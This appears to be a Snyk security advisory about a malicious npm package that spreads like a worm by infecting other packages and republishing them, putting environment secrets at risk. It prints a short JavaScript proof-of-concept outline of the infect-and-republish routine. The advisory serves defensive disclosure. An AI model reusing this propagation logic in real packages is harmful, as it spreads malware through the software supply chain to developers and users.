sdfjghlkfjdshlkjdhsfg@0.0.1-security vulnerabilities

security holding package

Direct Vulnerabilities

Known vulnerabilities in the sdfjghlkfjdshlkjdhsfg package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Malicious Package

sdfjghlkfjdshlkjdhsfg is a malicious package that infects the installing npm package, infecting them with malicious code and republishing them with it, worming its way into other npm packages.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.

PoC:

function infectModule (moduleName) {
        installModule(moduleName)
        .then(() => {
                addScript(moduleName);
                copyScript(moduleName);

                return incrementPatchVersion(moduleName);
        })
        .then(() => publishInfectedModule(moduleName))
        .catch(() => {});
}

const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg";

infectModule(MODULE_NAME);

How to fix Malicious Package?

Avoid usage of this package altogether.

*